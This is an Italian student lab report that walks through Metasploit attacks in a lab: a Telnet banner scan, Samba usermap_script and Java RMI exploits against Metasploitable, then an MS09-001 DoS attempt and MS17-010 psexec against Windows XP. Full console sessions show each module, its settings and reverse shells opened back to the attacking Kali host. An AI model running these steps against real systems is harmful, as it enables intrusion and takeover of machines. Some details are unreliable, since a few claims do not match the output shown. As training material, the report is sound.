

## Pratica S7-L2

### Exploit Telnet con Metasploit

#### Traccia:

Utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet\_version sulla macchina Metasploitable.

#### Requisito:

Configurate l'ip della vostra Kali con 192.168.1.25 e l'ip della vostra Metasploitable con 192.168.1.40.

Mettere tutto su un **report**, spiegare cosa si intende per exploit, cos'è il protocollo attaccato, i vari step.

Bonus aggiuntivi:

- Exploit smb
- Exploit java\_RMI
- Hacking con Windows XP

## Report

### Hacking del servizio «Telnet» vulnerabile sulla macchina Metasploitable tramite il modulo auxiliary di Metasploit

Il seguente report dettaglia l'attacco condotto tramite il framework Metasploit al servizio "telnet" sulla macchina target Metasploitable.

#### INTRODUZIONE

- L'**exploit**, nel contesto di un Penetration Testing, è la **fase** nella quale si usa una tecnica o uno strumento, nel nostro caso Metasploit, per sfruttare una vulnerabilità presente sulla macchina target, al fine di ottenere, generalmente, l'accesso non autorizzato ed eseguire azioni non previste sul sistema remoto.

Da notare che la parola "exploit" si usa anche per riferirsi alla **vera e propria attività svolta per ottenere l'accesso non autorizzato (o più in generale per compiere azioni dannose contro il) al sistema della macchina target.**

- **Metasploit**, strumento per la conduzione dell'attacco riportato, è un framework open source usato, nell'ambito dei PT, per la creazione e l'esecuzione automatizzata degli exploit su sistemi informatici.  
Infatti, fornisce un'ampia gamma di exploit, più di 2000, e quasi 600 payloads nel suo database che possono essere utilizzati per i vari sistemi operativi target (Windows, Linux etc..).  
Metasploit offre **moduli** che contengono varie funzionalità tra le quali codici di Exploit e Payload. Ogni modulo mette a disposizione un vettore di attacco diverso.

Il **payload** è necessario per utilizzare un exploit nella pratica.

Il termine, nel contesto di Metasploit e degli exploit di un PT, indica un insieme di istruzioni o codice che viene eseguito da un software dannoso o da un exploit dopo che questo ha sfruttato con successo una vulnerabilità del sistema.

I payload sono progettati per eseguire una serie di azioni dannose, come ottenere l'accesso non autorizzato a un sistema, rubare dati sensibili, danneggiare o bloccare il funzionamento di un sistema o altro ancora.

- **N.B.** Per l'exploit del servizio "telnet" di Metasploitable si è utilizzato un **modulo ausiliario, telnet\_version**, di Metasploit.

I moduli ausiliari in Metasploit sono progettati per svolgere funzioni di supporto durante il test della sicurezza, come la scansione della rete, la raccolta di informazioni e altro ancora.

La differenza, rispetto ai moduli "normali", è che questi moduli non eseguono necessariamente attacchi diretti, ma forniscono informazioni e supporto aggiuntivi che possono essere utili per ottenere un quadro completo della sicurezza del sistema e della rete target.

Quasi mai utilizzano un payload

Infatti, il modulo telnet\_version **effettua la scansione e l'identificazione delle versioni del servizio Telnet** in esecuzione su un sistema remoto e, come si vedrà, non contiene un payload che conduce un attacco diretto al sistema target ma consente di **ottenere informazioni sul sistema target.**

- La **vulnerabilità** che è stata sfruttata è relativa al **servizio “telnet”** di Metasploitable.

**Telnet** è un protocollo di rete che fornisce un servizio di accesso da remoto a sistemi informatici , garantendo la comunicazione testuale bidirezionale in una rete per mezzo del protocollo TCP (Transmission Control Protocol).

Specificamente, Telnet sfrutta il protocollo di trasporto **TCP**, affidabile e orientato alla connessione, che garantisce una trasmissione e consegna ordinata e senza errori dei dati scambiati tra il client Telnet e il server Telnet.

Il servizio Telnet è in ascolto sulla **porta 23/TCP** per le connessioni in arrivo, stabilite da parte di client Telnet specificando l'indirizzo IP del dispositivo e la porta 23.

In sintesi, Telnet si presenta come un servizio di accesso su sistemi remoti e, simultaneamente, come un protocollo che utilizza il TCP per facilitare la trasmissione di dati testuali tra dispositivi connessi su una rete.

La **vulnerabilità** del protocollo consiste nell'**assenza di meccanismi di cifratura durante la trasmissione dei dati** che rende le informazioni vulnerabili ad attacchi di intercettazione (sniffing della comunicazione) con conseguente furto di informazioni sensibili.

- **Conclusione:** Il presente report conferma che l'exploit è andato a buon fine.

Da terminale di Kali Linux, tramite Metasploit, si è realizzata la connessione con il servizio telnet di Metasploitable riuscendo ad accedere all'interfaccia della macchina e al prompt dei comandi dal quale si sono potuti inviare comandi da remoto, quali l'ifconfig che ha consentito di visualizzare le configurazioni di rete.

**Ipotizziamo di aver effettuato una scansione sul sistema di Metasploitable attraverso nmap e di aver individuato il servizio «telnet» quale servizio che gira sulla macchina Metasploitable**

## A screenshot of a Kali Linux terminal window. The title bar at the top reads "kali@kali: ~". Below it is a menu bar with "File", "Actions", "Edit", "View", and "Help". The main terminal area shows a prompt "(kali㉿kali)-[~]" followed by "\$ msfconsole". A large ASCII art logo for "Metasploit Framework" is displayed, featuring a central figure holding a staff topped with a cross, surrounded by various symbols like a skull, a gear, and a star. Below the logo, the text "Home" is visible. At the bottom, there are two lines of status information: "= [ metasploit v6.3.27-dev ]" and a summary of available features: "+ -- == [ 2335 exploits - 1220 auxiliary - 413 post ]", "+ -- == [ 1385 payloads - 46 encoders - 11 nops ]", and "+ -- == [ 9 evasion ]". The footer contains a tip about configuring Metasploit and a link to the documentation: "Metasploit Documentation: https://docs.metasploit.com/".

Tramite il comando **“search telnet\_version”** si cerca e il **modulo ausiliario** **“auxiliary/scanner/telnet/telnet\_version”** che si utilizzerà per l’exploit.

```
msf6 > search telnet_version

Matching Modules
=====
```

#	Name	Check	Description	Disclosure
0	auxiliary/scanner/telnet/lantronix_telnet_version	normal No	Lantronix Telnet Service Banner Detection	
1	auxiliary/scanner/telnet/telnet_version	normal No	Telnet Service Banner Detection	

Interact with a module by name or index. For example `info 1`, use `1` or use `auxiliary/scanner/telnet/telnet_version`

```
msf6 > 
```

### 3) Abilitazione del modulo individuato con il comando “use”

Con il comando “**use auxiliary/scanner/telnet/telnet\_version**” si abilita il modulo scelto per l’esecuzione dell’exploit.

Notare che per utilizzare il modulo, il comando “use” deve essere seguito dal path del modulo.

```
msf6 > search telnet_version

Matching Modules
-----
#  Name                                     Disclosure
-  -
0  auxiliary/scanner/telnet/lantronix_telnet_version  normal No  Lantronix Telnet Service Banner Detection
1  auxiliary/scanner/telnet/telnet_version           normal No  Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1
or use auxiliary/scanner/telnet/telnet_version

msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > █
```

### 4) Individuazione dei parametri “required” con il comando “show options”

Per controllare quali parametri devono essere obbligatoriamente configurati per l’utilizzo del modulo, si usa il comando “show options”.

Notiamo che **per il modulo telnet\_version è necessario configurare il solo:**

**RHOSTS:** con l’IP della macchina Metasploitable di cui si vuole hackerare il servizio telnet.

La porta 23 su cui il servizio telnet è in ascolto è invece prevista di default, come altri parametri.

```
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-----
PASSWORD  PASSWORD         no        The password for the specified username
RHOSTS    RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     RPORT            yes       The target port (TCP)
THREADS   THREADS          yes       The number of concurrent threads (max one per host)
TIMEOUT   TIMEOUT          yes       Timeout for the Telnet probe
USERNAME  USERNAME         no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > █
```

### 5) Configurazione dei parametri required con il comando “set”

Il comando “**set RHOSTS 192.168.50.101**” indica a Metasploit l’ IP della macchina Metasploitable target.

```
View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf6 auxiliary(scanner/telnet/telnet_version) > █
```



## **CONCLUSIONI**

L'exploit con il modulo ausiliario telnet\_version di Metasploit è avvenuto con successo, sfruttando la vulnerabilità del servizio telnet che, non prevedendo meccanismi di cifratura durante la connessione, consente al framework Metasploit l'accesso non autorizzato al sistema remoto di Metasploitable.

Si noti che, vista la falla di sicurezza di Telnet, ad oggi si preferisce usare un protocollo più sicuro come SSH per l'accesso da remoto in quanto utilizza la crittografia per la tutela della riservatezza delle informazioni.

# Report

## Exploit smb con il modulo usermap\_script

Il seguente report dettaglia l'attacco condotto tramite il framework Metasploit al servizio "telnet" sulla macchina target Metasploitable

**SMB (Server Message Block)** è un protocollo di rete che fornisce un servizio di condivisione di risorse, come file e stampanti, su una rete locale, consentendo il trasferimento di dati e l'accesso alle risorse condivise.

Il servizio SMB, in ascolto sulla porta 445 di Metasploitable, è vulnerabile ad attacchi di tipo command execution.

Infatti SMB presenta una vulnerabilità legata ad un parametro di configurazione (mal configurato) che consente ad un attaccante di sfruttarla eseguire comandi non autorizzati sulla macchina bersaglio attraverso la connessione SMB.

### PROCEDURA EXPLOIT CON L'UTILIZZO DEL MODULO USERMAP

#### 1) Avvio console e ricerca del modulo per l'attacco con "search"

Il modulo previsto per l'esecuzione dell'attacco al servizio SMB è "**exploit multi/samba/usermap\_script**"

```
(kali@kali)-[~]
$ msfconsole

Metasploit v6.3.27-dev
+ -- --[ 2335 exploits - 1220 auxiliary - 413 post
+ -- --[ 1385 payloads - 46 encoders - 11 nops
+ -- --[ 9 evasion

Metasploit tip: Set the current module's RHOSTS with
database values using hosts -R or services
-R
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search usermap_script

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  D
-  -
0  exploit/multi/samba/usermap_script      2007-05-14      excellent No      S
amba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
```



## 2) Abilitazione dell'exploit individuato con il comando "use"

Con il comando "use exploit multi/samba/usermap\_script" si abilita l'exploit.

```
msf6 > use exploit multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  D
--  -
0  exploit/multi/samba/usermap_script 2007-05-14      excellent No      S
amba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script
[*] Using exploit/multi/samba/usermap_script
```

## 3) Individuazione e inserimento dei parametri required per l'utilizzo del modulo e abilitazione del payload

Il comando show options mostra le configurazioni dell'exploit.

È necessario settare L' RHOSTS con IP di Metasploitable e il payload previsto di default "payload/cmd/unix/reverse\_netcat".

```
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST            no        The local client address
  CPORT      CPORT            no        The local client port
  Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     RHOSTS          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT            yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  --      -
  LHOST      LHOST            yes       The listen address (an interface may be specified)
  LPORT      LPORT            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf6 exploit(multi/samba/usermap_script) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set LPORT 445
LPORT => 445
```

#### 4) Lancio attacco e creazione di una shell reverse Meterpreter su Metasploitable con l'esecuzione del payload

Tramite accesso al sistema remoto, viene creata la reverse Shell di Meterpreter con l'esecuzione del payload.

In questo modo sarà la macchina attaccata a stabilire la connessione con la macchina attaccante.

**L'attacco è andato a buon fine perché da remoto riusciamo a vedere la configurazione di rete della macchina Metasploitable.**

```
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.50.100:445
[*] Command shell session 1 opened (192.168.50.100:445 → 192.168.50.101:34708
) at 2024-01-16 11:55:19 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:d4:db:4c
          inet addr:192.168.50.101  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fed4:db4c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:11 errors:0 dropped:0 overruns:0 frame:0
          TX packets:102 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1208 (1.1 KB)  TX bytes:10717 (10.4 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:197 errors:0 dropped:0 overruns:0 frame:0
          TX packets:197 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:64357 (62.8 KB)  TX bytes:64357 (62.8 KB)
```

# Report

## Exploit java\_RMI code execution

Il seguente report dettaglia l'attacco condotto tramite il framework Metasploit al servizio Java-RMI sulla macchina target Metasploitable

Sulla porta 1099 TCP di Metasploitable è attivo un **servizio Java-RMI**, che è una tecnologia che consente a diversi processi Java di comunicare tra di loro attraverso una rete.

La **vulnerabilità "java\_RMI\_code\_execution"** è dovuta ad una configurazione di default errata che permette ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina target.

### PROCEDURA EXPLOIT

#### 1) Avvio console e individuazione del modulo per l'attacco

Dopo l'avvio della console di Metasploit, tramite comando **"search java\_rmi"**.  
L'exploit scelto è **exploit multi/misc/java\_rmi\_server**.

```
kali@kali: ~  
File Actions Edit View Help  
msfconsole  
# cowsay++  
< metasploit >  
  \  (oo)_____\n  (__)_____)  \n  ||----w |  *  
  
+ -- --[ metasploit v6.3.27-dev ]  
+ -- --[ 2335 exploits - 1220 auxiliary - 413 post ]  
+ -- --[ 1385 payloads - 46 encoders - 11 nops ]  
+ -- --[ 9 evasion ]  
  
Metasploit tip: You can pivot connections over sessions  
started with the ssh_login modules  
Metasploit Documentation: https://docs.metasploit.com/  
  
msf6 > search java_rmi  
  
Matching Modules  
  
# Name Disclosure Date Rank  
Check Description  
- - - - -  
0 auxiliary/gather/java_rmi_registry normal  
No Java RMI Registry Interfaces Enumeration  
1 exploit/multi/misc/java_rmi_server 2011-10-15 excelle  
nt Yes Java RMI Server Insecure Default Configuration Java Code Execution  
2 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal  
No Java RMI Server Insecure Endpoint Code Execution Scanner  
3 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excelle  
nt No Java RMIConnectionImpl Deserialization Privilege Escalation  
  
Interact with a module by name or index. For example info 3, use 3 or use expl  
oit/multi/browser/java_rmi_connection_impl
```

## 2) Abilitazione dell'exploit individuato con il comando "use"

Con il comando "use exploit multi/misc/java\_rmi\_server" si abilita l'exploit.

```
msf6 > use exploit multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

Matching Modules

#  Name                               Disclosure Date  Rank      Check  D
-  -                               -              -      -      -
0  exploit/multi/misc/java_rmi_server  2011-10-15      excellent Yes     J
ava RMI Server Insecure Default Configuration Java Code Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/misc/java_rmi_server

[*] Using exploit/multi/misc/java_rmi_server
```

## 3) Individuazione e inserimento dei parametri required per l'utilizzo del modulo e abilitazione del payload

Il comando show options mostra le configurazioni dell'exploit.

È necessario settare **L' RHOSTS** con **IP di Metasploitable** e il **payload** previsto di default "java/meterpreter/reverse\_tcp".

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    -              yes       The target host(s), see https://docs.metsaploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099            yes       The target port (TCP)
  SRVHOST   0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080            yes       The local port to listen on.
  SSL       false           no        Negotiate SSL for incoming connections
  SSLCert   -              no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   -              no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.50.100  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf6 exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
```

## 5) Lancio attacco e creazione di una shell reverse Meterpreter su Metasploitable con l'esecuzione del payload

Tramite accesso al sistema remoto, viene creata la reverse Shell di Meterpreter con l'esecuzione del payload.

Meterpreter, un componente di Metasploit, sfrutta Java per stabilire una connessione "reverse TCP" per cui è Metasploitable, la macchina target, stabilisce una connessione in uscita con il sistema controllato da noi, Kali Linux.

Questo è utile quando il sistema bersaglio si trova dietro a un firewall o a un NAT, poiché consente di superare le limitazioni delle connessioni in ingresso.

L'attacco è andato a buon fine perché da remoto tramite una sessione della shell di Meterpreter riusciamo a vedere la configurazione di rete della macchina Metasploitable con il comando `ifconfig`.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.101:1099 - Using URL: http://192.168.50.100:8080/KzpoWIRreih5Mhm
[*] 192.168.50.101:1099 - Server started.
[*] 192.168.50.101:1099 - Sending RMI Header ...
[*] 192.168.50.101:1099 - Sending RMI Call ...
[*] 192.168.50.101:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.101:33614) at 2024-01-16 12:15:39 +0100

meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.50.101
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fed4:db4c
IPv6 Netmask : ::

meterpreter > 
```

## Report

## Hacking al servizio SMB di Windows XP con Metasploit

Il seguente report dettaglia l'attacco condotto tramite il framework Metasploit al **servizio SMB**, sfruttando due diverse vulnerabilità, sulla macchina target Metasploitable.

Le vulnerabilità **"SMB remote code execution"** e **"SMB code execution"** sono associate al protocollo **SMB** (Server Message Block), utilizzato per la condivisione di file e risorse in una rete locale.

Entrambe le vulnerabilità sono sfruttate per eseguire codice malevolo in remoto al fine di ottenere accesso non autorizzato sul sistema target.

La principale differenza tra le due potrebbe risiedere nella modalità di sfruttamento.

"SMB Remote Code Execution" sottolinea l'esecuzione di codice da remoto, mentre "SMB Code Execution" potrebbe essere più ampio e includere scenari in cui l'attaccante interagisce localmente con risorse SMB per eseguire codice.

## PROCEDURA EXPLOIT DOS SFRUTTANDO VULNERABILITA' "SMB remote code execution"

### 1) Avvio console e individuazione del modulo per l'attacco

Dopo l'avvio della console di Metasploit, tramite comando **“search ms09\_001”** si cerca il modulo.

Il modulo ausiliario scelto, **“auxiliary/dos/windows/smb/ms09\_001\_write**, sarà utilizzato per **causare un DOS, cioè denial of service sul sistema remoto.**

[illegible]

## 2) Individuazione Modulo, inserimento dei parametri required, abilitazione del payload e lancio attacco di DOS

Con il comando “`use auxiliary/dos/windows/smb/ms09_001_write`” si abilita il modulo per l’attacco.

Il comando `show options` mostra le configurazioni del modulo.

È necessario settare il solo parametro **L’ RHOSTS** con **IP di Windows XP**.

**Il payload non è previsto nel modulo ausiliario.**

Con il comando “`exploit`”, si fa partire il modulo che inizierà ad inviare pacchetti alla destinazione. Il modulo «auxiliary» ci permette (in questo caso) di eseguire un attacco DoS sul target, ma di fatto non ottenendo nessuna sessione sul sistema target.

L’attacco va a buon fine se Windows XP da schermata di errore per poi riavviarsi in automatico. Così non è stato.

```
msf6 > use auxiliary/dos/windows/smb/ms09_001_write

Matching Modules

#  Name                                     Disclosure Date  Rank  Check
-  -                                     -
0  auxiliary/dos/windows/smb/ms09_001_write  normal         No
    Microsoft SRV.SYS WriteAndX Invalid DataOffset

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/dos/windows/smb/ms09_001_write

[*] Using auxiliary/dos/windows/smb/ms09_001_write
msf6 auxiliary(dos/windows/smb/ms09_001_write) > show options

Module options (auxiliary/dos/windows/smb/ms09_001_write):

Name      Current Setting  Required  Description
-  -  -  -  -
RHOSTS    192.168.50.200  yes       The target host(s), see https://docs.m
etasploit.com/docs/using-metasploit/ba
sics/using-metasploit.html
RPORT     445              yes       The SMB service port (TCP)

View the full module info with the info, or info -d command.

msf6 auxiliary(dos/windows/smb/ms09_001_write) > set RHOSTS 192.168.50.200
RHOSTS => 192.168.50.200
msf6 auxiliary(dos/windows/smb/ms09_001_write) > exploit
[*] Running module against 192.168.50.200

Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue
datalenlow=35535 dataoffset=65535 fillersize=72
rescue
datalenlow=25535 dataoffset=65535 fillersize=72
rescue
datalenlow=15535 dataoffset=65535 fillersize=72
rescue
[*] Auxiliary module execution completed
msf6 auxiliary(dos/windows/smb/ms09_001_write) >
```



## PROCEDURA EXPLOIT DOS SFRUTTANDO VULNERABILITA' "SMB code execution"

### 1) Avvio console, individuazione e abilitazione del modulo per l'attacco

Dopo l'avvio della console di Metasploit, tramite comando **"search ms17"** si cerca il modulo. Il modulo ausiliario scelto, **"exploit/windows/smb/ms17\_010\_psexec"**.

Si abilita il modulo per l'esecuzione dell'attacco con il comando **"set exploit/windows/smb/ms17\_010\_psexec"**.

```
msf6 > search ms17

Matching Modules
=====
#  Name                                     Disclosure Date  R
--  -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      a
    verage Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  exploit/windows/smb/ms17_010_psexec       2017-03-14      n
    ormal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remo
    te Windows Code Execution
2  auxiliary/admin/smb/ms17_010_command       2017-03-14      n
    ormal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remo
    te Windows Command Execution
3  auxiliary/scanner/smb/smb_ms17_010        n
    ormal No MS17-010 SMB RCE Detection
4  exploit/windows/fileformat/office_ms17_11882  2017-11-15      m
    anual No Microsoft Office CVE-2017-11882
5  auxiliary/admin/mssql/mssql_escalate_execute_as n
    ormal No Microsoft SQL Server Escalate EXECUTE AS
6  auxiliary/admin/mssql/mssql_escalate_execute_as_sqli n
    ormal No Microsoft SQL Server SQLi Escalate Execute AS
7  exploit/windows/smb/smb_doublepulsar_rce    2017-04-14      g
    reat Yes SMB DOUBLEPULSAR Remote Code Execution

Interact with a module by name or index. For example info 7, use 7 or use expl
oit/windows/smb/smb_doublepulsar_rce

msf6 > use exploit/windows/smb/ms17_010_psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```



## 2) Individuazione dei parametri required per l'utilizzo del modulo con il comando "show options"

L'unico parametro necessario per l'attacco è **RHOSTS**, ovvero IP macchina target.

Vediamo anche che il **payload** previsto di default dal modulo scelto è **"windows/meterpreter/reverse\_tcp"**

```
kali@kali: ~  
File Actions Edit View Help  
msf6 exploit(windows/smb/ms17_010_psexec) > show options  
Module options (exploit/windows/smb/ms17_010_psexec):  


| Name                 | Current Setting                                                | Required | Description                                                                                                                                                                                         |
|----------------------|----------------------------------------------------------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| DBGTRACE             | false                                                          | yes      | Show extra debug trace info                                                                                                                                                                         |
| LEAKATTEMPTS         | 99                                                             | yes      | How many times to try to leak transaction                                                                                                                                                           |
| NAMEDPIPE            |                                                                | no       | A named pipe that can be connected to (leave blank for auto)                                                                                                                                        |
| NAMED_PIPES          | /usr/share/metasploit-framework/data/wordlists/named_pipes.txt | yes      | List of named pipes to check                                                                                                                                                                        |
| RHOSTS               |                                                                | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT                | 445                                                            | yes      | The Target port (TCP)                                                                                                                                                                               |
| SERVICE_DESCRIPTION  |                                                                | no       | Service description to be used on target for pretty listing                                                                                                                                         |
| SERVICE_DISPLAY_NAME |                                                                | no       | The service display name                                                                                                                                                                            |
| SERVICE_NAME         |                                                                | no       | The service name                                                                                                                                                                                    |
| SHARE                | ADMIN\$                                                        | yes      | The share to connect to, can be an admin share (ADMIN\$,C\$,...) or a normal read/write folder share                                                                                                |
| SMBDomain            | .                                                              | no       | The Windows domain to use for authentication                                                                                                                                                        |
| SMBPass              |                                                                | no       | The password for the specified username                                                                                                                                                             |
| SMBUser              |                                                                | no       | The username to authenticate as                                                                                                                                                                     |

  
Payload options (windows/meterpreter/reverse_tcp):  


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.50.100  | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |

  
Exploit target:  


| Id | Name      |
|----|-----------|
| 0  | Automatic |


```

### 3) Impostazione Parametro modulo e lancio attacco

Una volta settato l'IP di Windows XP, si procede direttamente a lanciare l'attacco che, una volta ottenuto l'accesso al sistema remoto di Metasploitable, esegue il payload, il quale apre una sessione della shell Meterpreter attraverso una connessione reverse\_tcp (è la macchina attaccata che stabilisce la connessione con la macchina attaccante).

L'attacco è andato a buon fine perché tramite comando da Kali Linux otteniamo la configurazione di rete di Metasploitable.

```
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.50.200
RHOSTS => 192.168.50.200
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.200:445 - Target OS: Windows 5.1
[*] 192.168.50.200:445 - Filling barrel with fish... done
[*] 192.168.50.200:445 - <-----| Entering Danger Zone |----->
[*] 192.168.50.200:445 - [*] Preparing dynamite...
[*] 192.168.50.200:445 - [*] Trying stick 1 (x86)... Boom!
[*] 192.168.50.200:445 - [+] Successfully Leaked Transaction!
[*] 192.168.50.200:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.50.200:445 - <-----| Leaving Danger Zone |----->
[*] 192.168.50.200:445 - Reading from CONNECTION struct at: 0x89923010
[*] 192.168.50.200:445 - Built a write-what-where primitive...
[*] 192.168.50.200:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.50.200:445 - Selecting native target
[*] 192.168.50.200:445 - Uploading payload... KSgJZGxp.exe
[*] 192.168.50.200:445 - Created \KSgJZGxp.exe...
[*] 192.168.50.200:445 - Service started successfully...
[*] 192.168.50.200:445 - Deleting \KSgJZGxp.exe...
[*] Sending stage (175686 bytes) to 192.168.50.200
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.200:1032) at 2024-01-16 14:18:15 +0100

meterpreter > ifconfig

Interface 1
=====
Name           : MS TCP Loopback interface
Hardware MAC   : 00:00:00:00:00:00
MTU            : 1520
IPv4 Address   : 127.0.0.1

Interface 2
=====
Name           : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilit  di pianificazione pacchetti
Hardware MAC   : 08:00:27:36:05:6d
MTU            : 1500
IPv4 Address   : 192.168.50.200
IPv4 Netmask   : 255.255.255.0

meterpreter > |
```